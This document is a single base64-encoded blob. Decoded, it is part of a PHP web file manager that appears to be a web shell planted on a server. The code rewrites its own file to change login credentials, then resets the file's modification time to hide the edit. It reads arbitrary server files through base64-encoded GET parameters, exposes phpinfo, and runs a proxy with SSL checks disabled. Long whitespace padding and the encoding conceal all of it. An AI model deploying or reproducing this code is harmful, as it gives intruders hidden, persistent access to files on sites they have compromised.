AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoNCi8qIEVuZCBGdW5jdGlvbnMgKi8NCg0KDQoNCi8vIGF1dGhvcml6YXRpb24NCmlmICgkYXV0aF9nb3duWydhdXRob3JpemUnXSkgew0KDQoJICAgICBpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pKXsNCgkgICAgIAkgICAgIGlmICgoJF9QT1NUWydsb2dpbiddPT0kYXV0aF9nb3duWydsb2dpbiddKSAmJiAoJF9QT1NUWydwYXNzd29yZCddPT0kYXV0aF9nb3duWydwYXNzd29yZCddKSkgew0KDQoJICAgICAJICAgICAJICAgICBzZXRjb29raWUoJGF1dGhfZ293blsnY29va2llX25hbWUnXSwgJGF1dGhfZ293blsnbG9naW4nXS4nfCcubWQ1KCRhdXRoX2dvd25bJ3Bhc3N3b3JkJ10pLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KDQoJICAgICAJICAgICAJICAgICAkX0NPT0tJRVskYXV0aF9nb3duWydjb29raWVfbmFtZSddXT0kYXV0aF9nb3duWydsb2dpbiddLid8Jy5tZDUoJGF1dGhfZ293blsncGFzc3dvcmQnXSk7DQoNCgkgICAgIAkgICAgIH0NCg0KCSAgICAgfQ0KDQoJICAgICBpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoX2dvd25bJ2Nvb2tpZV9uYW1lJ11dKSBPUiAoJF9DT09LSUVbJGF1dGhfZ293blsnY29va2llX25hbWUnXV0hPSRhdXRoX2dvd25bJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aF9nb3duWydwYXNzd29yZCddKSkpIHsNCgkgICAgIAkgICAgIGVjaG8gJw0KDQo8IWRvY3R5cGUgaHRtbD4NCg0KPGh0bWw+DQoNCjxoZWFkPg0KDQo8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCg0KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KDQo8dGl0bGU+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJzwvdGl0bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KDQonLl9fKCdMb2dpbicpLicgPGlucHV0IG5hbWU9ImxvZ2luIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsmbmJzcDsNCg0KJy5fXygnUGFzc3dvcmQnKS4nIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPiZuYnNwOyZuYnNwOyZuYnNwOw0KDQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnRW50ZXInKS4nIiBjbGFzcz0iZm1faW5wdXQiPg0KDQo8L2Zvcm0+DQoNCicuZm1fbGFuZ19mb3JtKCRsYW5ndWFnZSkuJw0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCg0KJzsgIA0KDQpkaWUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KDQoJICAgICBpZiAoaXNzZXQoJF9QT1NUWydxdWl0J10pKSB7DQoJICAgICAJICAgICB1bnNldCgkX0NPT0tJRVskYXV0aF9nb3duWydjb29raWVfbmFtZSddXSk7DQoNCgkgICAgIAkgICAgIHNldGNvb2tpZSgkYXV0aF9nb3duWydjb29raWVfbmFtZSddLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCg0KCSAgICAgCSAgICAgaGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KLy8gQ2hhbmdlIGNvbmZpZw0KaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgew0KDQoJICAgICBpZiAoaXNzZXQoJF9HRVRbJ2ZtX2NvbmZpZ19kZWxldGUnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgdW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCgkgICAgIAkgICAgIHNldGNvb2tpZSgnZm1fY29uZmlnJywgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJICAgICAJICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZScpOw0KCSAgICAgCSAgICAgZXhpdCgwKTsNCg0KCSAgICAgfQkgICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9jb25maWcnXSkpIHsgDQoNCgkgICAgIAkgICAgICRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddOw0KDQoJICAgICAJICAgICBzZXRjb29raWUoJ2ZtX2NvbmZpZycsIHNlcmlhbGl6ZSgkZm1fY29uZmlnKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpOw0KDQoJICAgICAJICAgICAkbXNnX2hlYWRlcnMgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTsNCgkgICAgIH0JICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fbG9naW4nXSkpIHsgDQoNCgkgICAgIAkgICAgIGlmIChlbXB0eSgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2F1dGhvcml6ZSddKSkgJF9QT1NUWydmbV9sb2dpbiddID0gYXJyYXkoJ2F1dGhvcml6ZScgPT4gJzAnKSArICRfUE9TVFsnZm1fbG9naW4nXTsNCg0KCSAgICAgCSAgICAgJGZtX2xvZ2luID0ganNvbl9lbmNvZGUoJF9QT1NUWydmbV9sb2dpbiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkc2VhcmNoID0gcHJlZ19tYXRjaCgnI2F1dGhvcml6YXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOw0KCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsNCgkgICAgIAkgICAgIAkgICAgICRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOw0KCSAgICAgCSAgICAgCSAgICAgJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJGZtX2xvZ2luLCRmZ2MpOw0KDQoJICAgICAJICAgICAJICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhfZ293blsnbG9naW4nXSkgJG1zZ19oZWFkZXJzIC49ICcgJy5fXygnTG9naW4nKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddICE9ICRhdXRoX2dvd25bJ3Bhc3N3b3JkJ10pICRtc2dfaGVhZGVycyAuPSAnICcuX18oJ1Bhc3N3b3JkJykuJzogJy4kX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGF1dGhfZ293biA9ICRfUE9TVFsnZm1fbG9naW4nXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAJICAgICBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3RwbF9lZGl0ZWQnXSkpIHsgDQoNCgkgICAgIAkgICAgICRsbmdfdHBsID0gJF9QT1NUWyd0cGxfZWRpdGVkJ107DQoNCgkgICAgIAkgICAgIGlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddKSkgew0KDQoJICAgICAJICAgICAJICAgICAkZm1fcGhwID0ganNvbl9lbmNvZGUoYXJyYXlfY29tYmluZSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10sJF9QT1NUWyRsbmdfdHBsLidfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7DQoJICAgICAJICAgICB9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRmbV9waHAgPSBqc29uX2VuY29kZShqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSkrYXJyYXkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXT0+JF9QT1NUWyRsbmdfdHBsLidfbmV3X3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOw0KDQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX3BocCkpIHsNCgkgICAgIAkgICAgIAkgICAgICRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7DQoNCgkgICAgIAkgICAgIAkgICAgICRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcc10 bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7DQoJICAgICAJICAgICAJICAgICAJICAgICAkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9waHAsJGZnYyk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfSBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KDQoJICAgICAJICAgICAJICAgICB9CSAgICAgDQoNCgkgICAgIAkgICAgIH0gZWxzZSAkbXNnX2hlYWRlcnMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQoNCgkgICAgIH0NCn0NCg0KDQoNCi8vIEp1c3Qgc2hvdyBpbWFnZQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkgew0KCSAgICAgJGZpbGVfZ2V0PWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmICgkaW5mbz1nZXRpbWFnZXNpemUoJGZpbGVfZ2V0KSl7DQoJICAgICAJICAgICBzd2l0Y2ggICgkaW5mb1syXSl7CSAgICAgLy8xPUdJRiwgMj1KUEcsIDM9UE5HLCA0PVNXRiwgNT1QU0QsIDY9Qk1QDQoNCgkgICAgIAkgICAgIAkgICAgIGNhc2UgMTogJGV4dD0nZ2lmJzsgYnJlYWs7DQoJICAgICAJICAgICAJICAgICBjYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhazsNCgkgICAgIAkgICAgIAkgICAgIGNhc2UgMzogJGV4dD0ncG5nJzsgYnJlYWs7DQoNCgkgICAgIAkgICAgIAkgICAgIGNhc2UgNjogJGV4dD0nYm1wJzsgYnJlYWs7DQoJICAgICAJICAgICAJICAgICBkZWZhdWx0OiBkaWUoKTsNCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvJGV4dCIpOw0KCSAgICAgCSAgICAgZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZV9nZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGRpZSgpOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KLy8gSnVzdCBkb3dubG9hZCBmaWxlDQoNCmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHsNCgkgICAgICRmaWxlX2dldD1iYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTsNCgkgICAgIGZtX2Rvd25sb2FkKCRmaWxlX2dldCk7CSAgICAgDQoNCn0NCg0KDQoNCi8vIEp1c3Qgc2hvdyBpbmZvDQppZiAoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsNCgkgICAgIHBocGluZm8oKTsgDQoNCgkgICAgIGRpZSgpOw0KDQp9DQoNCg0KDQovLyBNaW5pIHByb3h5LCBtYW55IGJ1Z3MhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmIChpc3NldCgkX0dFVFsncHJveHknXSkgJiYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpKSB7DQoJICAgICAkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT91cmxkZWNvZGUoJF9HRVRbJ3VybCddKTonJzsNCg0KCSAgICAgJHByb3h5X2Zvcm0gPSAnDQoNCjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MTAwNTAwO2JhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlNGY1ZmMgMCUsI2JmZThmOSA1MCUsIzlmZDhlZiA1MSUsIzJhYjBlZCAxMDAlKTsiPg0KDQoJICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJHRVQiPg0KCSAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icHJveHkiIHZhbHVlPSJ0cnVlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAnLmZtX2hvbWUoKS4nIDxhIGhyZWY9IicuJHVybC4nIiB0YXJnZXQ9Il9ibGFuayI+VXJsPC9hPjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgdmFsdWU9IicuJHVybC4nIiBzaXplPSI1NSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTaG93JykuJyIgY2xhc3M9ImZtX2lucHV0Ij4NCg0KCSAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC9kaXY+DQoNCic7DQoNCgkgICAgIGlmICgkdXJsKSB7DQoJICAgICAJICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdEZW4xeHh4IHRlc3QgcHJveHknKTsNCg0KCSAgICAgCSAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCgkgICAgIAkgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsNCg0KCSAgICAgCSAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KCSAgICAgCSAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVGRVJFUiwgJHVybCk7DQoJICAgICAJICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KCSAgICAgCSAgICAgY3VybF9jbG9zZSgkY2gpOw0KDQoJICAgICAJICAgICAvLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnXFwxPSInLiR1cmwuJy9cXDIiJywgJHJlc3VsdCk7DQoJICAgICAJICAgICAkcmVzdWx0ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjKGhyZWZ8c3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnZm1fdXJsX3Byb3h5JywgJHJlc3VsdCk7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyUoPGJvZHkuKj8+KSVpJywgJyQxJy4nPHN0eWxlPicuZm1faG9tZV9zdHlsZSgpLic8L3N0eWxlPicuJHByb3h5X2Zvcm0sICRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBlY2hvICRyZXN1bHQ7DQoNCgkgICAgIAkgICAgIGRpZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfSANCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCj8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8IWRvY3R5cGUgaHRtbD4NCg0KPGh0bWw+DQoNCjxoZWFkPiAgICAgDQoNCgkgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KDQogICAgPHRpdGxlPjw/PV9fKCdGaWxlIG1hbmFnZXInKT8+PC90aXRsZT4NCg0KPHN0eWxlPg0KYm9keSB7DQoNCgkgICAgIGJhY2tncm91bmQtY29sb3I6CSAgICAgd2hpdGU7DQoNCgkgICAgIGZvbnQtZmFtaWx5OgkgICAgIAkgICAgIFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoNCgkgICAgIGZvbnQtc2l6ZToJICAgICAJICAgICAJICAgICA4cHQ7DQoNCgkgICAgIG1hcmdpbjoJICAgICAJICAgICAJICAgICAJICAgICAwcHg7DQp9DQoNCg0KYTpsaW5rLCBhOmFjdGl2ZSwgYTp2aXNpdGVkIHsgY29sb3I6ICMwMDY2OTk7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQphOmhvdmVyIHsgY29sb3I6ICNERDY5MDA7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmEudGg6bGluayB7IGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0NCg0KYS50aDphY3RpdmUgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOmhvdmVyIHsgIGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KDQoNCnRhYmxlLmJnIHsNCg0KCSAgICAgYmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNg0KDQp9DQoNCg0KDQp0aCwgdGQgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGZvbnQ6CSAgICAgbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KDQoJICAgICBwYWRkaW5nOiAzcHg7DQoNCn0NCg0KDQp0aAkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBoZWlnaHQ6CSAgICAgCSAgICAgCSAgICAgCSAgICAgMjVweDsNCg0KCSAgICAgYmFja2dyb3VuZC1jb2xvcjoJICAg